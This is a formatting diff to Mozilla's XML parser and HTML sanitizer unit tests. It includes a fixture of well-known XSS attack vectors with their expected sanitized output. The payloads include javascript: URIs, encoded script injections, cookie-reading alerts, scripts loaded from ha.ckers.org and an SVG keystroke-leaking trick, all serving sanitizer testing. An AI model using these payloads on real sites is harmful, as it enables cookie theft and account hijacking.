-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<svg>\n<image style='filter:url(\"data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(1)</script></svg>\")'>\n<!--\nSame effect with\n<image filter='...'>\n-->\n</svg>",
-    "sanitized": "<html><head></head><body>\n\n\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\n\n</body></html>",
   },
   {
     "data": "<math href=\"javascript:alert(1)\">CLICKME</math>\r\n\r\n<math>\r\n<!-- up to FF 13 -->\r\n<maction actiontype=\"statusline#http://google.com\" xlink:href=\"javascript:alert(2)\">CLICKME</maction>\r\n\r\n<!-- FF 14+ -->\r\n<maction actiontype=\"statusline\" xlink:href=\"javascript:alert(3)\">CLICKME<mtext>http://http://google.com</mtext></maction>\r\n</math>",
-    "sanitized": "<html><head></head><body><math>CLICKME</math>\n\n<math>\n\n<maction actiontype=\"statusline#http://google.com\">CLICKME</maction>\n\n\n<maction actiontype=\"statusline\">CLICKME<mtext>http://http://google.com</mtext></maction>\n</math></body></html>"
+    "sanitized": "<html><head></head><body><math>CLICKME</math>\n\n<math>\n\n<maction actiontype=\"statusline#http://google.com\">CLICKME</maction>\n\n\n<maction actiontype=\"statusline\">CLICKME<mtext>http://http://google.com</mtext></maction>\n</math></body></html>",
   },
   {
     "data": "<b>drag and drop one of the following strings to the drop box:</b>\r\n<br/><hr/>\r\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\nfeed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b>\r\n<br/><hr/>\r\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\n<div id=\"dropbox\" style=\"height: 360px;width: 500px;border: 5px solid #000;position: relative;\" ondragover=\"event.preventDefault()\">+ Drop Box +</div>",
-    "sanitized": "<html><head></head><body><b>drag and drop one of the following strings to the drop box:</b>\n<br><hr>\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:data:text/html,&lt;script&gt;alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&lt;/script&gt;&lt;b&gt;\n<br><hr>\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\n<div id=\"dropbox\">+ Drop Box +</div></body></html>"
+    "sanitized": "<html><head></head><body><b>drag and drop one of the following strings to the drop box:</b>\n<br><hr>\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:data:text/html,&lt;script&gt;alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&lt;/script&gt;&lt;b&gt;\n<br><hr>\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\n<div id=\"dropbox\">+ Drop Box +</div></body></html>",
   },
   {
     "data": "<!doctype html>\r\n<form>\r\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\r\n<br>\r\n<input name=\"secret\" type=\"password\">\r\n</form>\r\n<!-- injection --><svg height=\"50px\">\r\n<image xmlns:xlink=\"http://www.w3.org/1999/xlink\">\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(a)\" to=\"//example.com/?a\" />\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(b)\" to=\"//example.com/?b\" />\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(c)\" to=\"//example.com/?c\" />\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(d)\" to=\"//example.com/?d\" />\r\n</image>\r\n</svg>",
-    "sanitized": "<!DOCTYPE html>\n<html><head></head><body>\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\n<br>\n\n\n\n\n\n\n\n\n\n</body></html>"
+    "sanitized": "<!DOCTYPE html>\n<html><head></head><body>\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\n<br>\n\n\n\n\n\n\n\n\n\n</body></html>",
   },
   {
     "data": "<!-- `<img/src=xx:xx onerror=alert(1)//--!>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<xmp>\r\n<%\r\n</xmp>\r\n<img alt='%></xmp><img src=xx:x onerror=alert(1)//'>\r\n\r\n<script>\r\nx='<%'\r\n</script> %>/\r\nalert(2)\r\n</script>\r\n\r\nXXX\r\n<style>\r\n*['<!--']{}\r\n</style>\r\n-->{}\r\n*{color:red}</style>",
-    "sanitized": "<html><head></head><body>\n&lt;%\n\n<img alt=\"%&gt;&lt;/xmp&gt;&lt;img src=xx:x onerror=alert(1)//\">\n\n %&gt;/\nalert(2)\n\n\nXXX\n\n--&gt;{}\n*{color:red}</body></html>"
+    "sanitized": "<html><head></head><body>\n&lt;%\n\n<img alt=\"%&gt;&lt;/xmp&gt;&lt;img src=xx:x onerror=alert(1)//\">\n\n %&gt;/\nalert(2)\n\n\nXXX\n\n--&gt;{}\n*{color:red}</body></html>",
   },
   {
     "data": "<?xml-stylesheet type=\"text/xsl\" href=\"#\" ?>\r\n<stylesheet xmlns=\"http://www.w3.org/TR/WD-xsl\">\r\n<template match=\"/\">\r\n<eval>new ActiveXObject(&apos;htmlfile&apos;).parentWindow.alert(1)</eval>\r\n<if expr=\"new ActiveXObject('htmlfile').parentWindow.alert(2)\"></if>\r\n</template>\r\n</stylesheet>",
-    "sanitized": "<html><head></head><body>\n\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\n</body></html>",
   },
   {
     "data": "<form action=\"\" method=\"post\">\r\n<input name=\"username\" value=\"admin\" />\r\n<input name=\"password\" type=\"password\" value=\"secret\" />\r\n<input name=\"injected\" value=\"injected\" dirname=\"password\" />\r\n<input type=\"submit\">\r\n</form>",
-    "sanitized": "<html><head></head><body>\n\n\n\n\n</body></html>"
+    "sanitized": "<html><head></head><body>\n\n\n\n\n</body></html>",
   },
   {
     "data": "<SCRIPT>alert('XSS');</SCRIPT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "'';!--\"<XSS>=&{()}",
-    "sanitized": "<html><head></head><body>'';!--\"=&amp;{()}</body></html>"
+    "sanitized": "<html><head></head><body>'';!--\"=&amp;{()}</body></html>",
   },
   {
     "data": "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<IMG SRC=\"javascript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=javascript:alert('XSS')>",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=JaVaScRiPt:alert('XSS')>",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=javascript:alert(&quot;XSS&quot;)>",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>",
-    "sanitized": "<html><head></head><body>SRC=\n<img></body></html>"
+    "sanitized": "<html><head></head><body>SRC=\n<img></body></html>",
   },
   {
     "data": "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=\"javascript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=\" &#14;  javascript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<IMG SRC=\"javascript:alert('XSS')\"",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<SCRIPT>a=/XSS/",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "\\\";alert('XSS');//",
-    "sanitized": "<html><head></head><body>\\\";alert('XSS');//</body></html>"
+    "sanitized": "<html><head></head><body>\\\";alert('XSS');//</body></html>",
   },
   {
     "data": "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<BODY BACKGROUND=\"javascript:alert('XSS')\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<BODY ONLOAD=alert('XSS')>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<IMG DYNSRC=\"javascript:alert('XSS')\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG LOWSRC=\"javascript:alert('XSS')\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<BGSOUND SRC=\"javascript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<BR SIZE=\"&{alert('XSS')}\">",
-    "sanitized": "<html><head></head><body><br></body></html>"
+    "sanitized": "<html><head></head><body><br></body></html>",
   },
   {
     "data": "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<IMG SRC='vbscript:msgbox(\"XSS\")'>",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=\"mocha:[code]\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<IMG SRC=\"livescript:[code]\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<META HTTP-EQUIV=\"Link\" Content=\"<javascript:alert('XSS')>; REL=stylesheet\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>",
-    "sanitized": "<html><head></head></html>"
+    "sanitized": "<html><head></head></html>",
   },
   {
     "data": "<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
-    "sanitized": "<html><head></head><body><table></table></body></html>"
+    "sanitized": "<html><head></head><body><table></table></body></html>",
   },
   {
     "data": "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
-    "sanitized": "<html><head></head><body><div></div></body></html>"
+    "sanitized": "<html><head></head><body><div></div></body></html>",
   },
   {
     "data": "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">",
-    "sanitized": "<html><head></head><body><div></div></body></html>"
+    "sanitized": "<html><head></head><body><div></div></body></html>",
   },
   {
     "data": "<DIV STYLE=\"width: expression(alert('XSS'));\">",
-    "sanitized": "<html><head></head><body><div></div></body></html>"
+    "sanitized": "<html><head></head><body><div></div></body></html>",
   },
   {
     "data": "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<XSS STYLE=\"xss:expression(alert('XSS'))\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "exp/*<XSS STYLE='no\\xss:noxss(\"*//*\");",
-    "sanitized": "<html><head></head><body>exp/*</body></html>"
+    "sanitized": "<html><head></head><body>exp/*</body></html>",
   },
   {
     "data": "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>",
-    "sanitized": "<html><head></head><body><a class=\"XSS\"></a></body></html>"
+    "sanitized": "<html><head></head><body><a class=\"XSS\"></a></body></html>",
   },
   {
     "data": "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<BASE HREF=\"javascript:alert('XSS');//\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "getURL(\"javascript:alert('XSS')\")",
-    "sanitized": "<html><head></head><body>getURL(\"javascript:alert('XSS')\")</body></html>"
+    "sanitized": "<html><head></head><body>getURL(\"javascript:alert('XSS')\")</body></html>",
   },
   {
     "data": "a=\"get\";",
-    "sanitized": "<html><head></head><body>a=\"get\";</body></html>"
+    "sanitized": "<html><head></head><body>a=\"get\";</body></html>",
   },
   {
     "data": "<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas<![CDATA[cript:alert('XSS');\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<XML SRC=\"http://ha.ckers.org/xsstest.xml\" ID=I></XML>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<HTML><BODY>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<!--#exec cmd=\"/bin/echo '<SCRIPT SRC'\"--><!--#exec cmd=\"/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'\"-->",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<? echo('<SCR)';",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-",
-    "sanitized": "<html><head> </head><body>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</body></html>"
+    "sanitized": "<html><head> </head><body>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</body></html>",
   },
   {
     "data": "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC",
-    "sanitized": "<html><head></head><body>PT SRC</body></html>"
+    "sanitized": "<html><head></head><body>PT SRC</body></html>",
   },
   {
     "data": "",
-    "sanitized": "<html><head></head><body></body></html>"
-  }
-]
+    "sanitized": "<html><head></head><body></body></html>",
+  },
+];
--- a/parser/xml/test/unit/test_parser.js
+++ b/parser/xml/test/unit/test_parser.js
@@ -2,18 +2,17 @@ ChromeUtils.import("resource://gre/modul
 
 function updateDocumentSourceMaps(src) {
   const nsISAXXMLReader = Ci.nsISAXXMLReader;
   const saxReader = Cc["@mozilla.org/saxparser/xmlreader;1"]
                       .createInstance(nsISAXXMLReader);
   try {
     saxReader.setFeature("http://xml.org/sax/features/namespace-prefixes", true);
     saxReader.setFeature("http://xml.org/sax/features/namespace", true);
-  }
-  catch (e) {
+  } catch (e) {
     // do nothing, we'll accept it as it is.
   }
   var parseErrorLog = [];
 
   /* XXX ajvincent Because throwing an exception doesn't stop parsing, we need
    * to record errors and handle them after the parsing is finished.
    */
   function do_parse_check(aCondition, aMsg) {
@@ -51,31 +50,31 @@ function updateDocumentSourceMaps(src) {
       do_parse_check(aNodeName, "Missing element node name (endElement)");
     },
 
     characters: function characters(aData) {
     },
 
     processingInstruction: function processingInstruction(aTarget, aData) {
       do_parse_check(aTarget, "Missing processing instruction target");
-    }
+    },
   };
 
   var errorHandler = {
     error: function error(aError) {
       do_parse_check(!aError, "XML error");
     },
 
     fatalError: function fatalError(aError) {
       do_parse_check(!aError, "XML fatal error");
     },
 
     ignorableWarning: function ignorableWarning(aError) {
       do_parse_check(!aError, "XML ignorable warning");
-    }
+    },
   };
 
   saxReader.contentHandler = contentHandler;
   saxReader.errorHandler   = errorHandler;
 
   let type = "application/xml";
   let uri = NetUtil.newURI("http://example.org/");
 
--- a/parser/xml/test/unit/test_sanitizer.js
+++ b/parser/xml/test/unit/test_sanitizer.js
@@ -1,15 +1,15 @@
 function run_test() {
   // vectors by the html5security project (https://code.google.com/p/html5security/ & Creative Commons 3.0 BY), see CC-BY-LICENSE for the full license
-  load("results.js");   // gives us a `vectors' array
+  load("results.js"); // gives us a `vectors' array
 
   var ParserUtils =  Cc["@mozilla.org/parserutils;1"].getService(Ci.nsIParserUtils);
-  var sanitizeFlags = ParserUtils.SanitizerCidEmbedsOnly|ParserUtils.SanitizerDropForms|ParserUtils.SanitizerDropNonCSSPresentation;
-  // flags according to 
+  var sanitizeFlags = ParserUtils.SanitizerCidEmbedsOnly | ParserUtils.SanitizerDropForms | ParserUtils.SanitizerDropNonCSSPresentation;
+  // flags according to
   // http://mxr.mozilla.org/comm-central/source/mailnews/mime/src/mimemoz2.cpp#2218
   // and default settings
 
 
   for (var item in vectors) {
     var evil = vectors[item].data;
     var sanitized = vectors[item].sanitized;
     var out = ParserUtils.sanitize(evil, sanitizeFlags);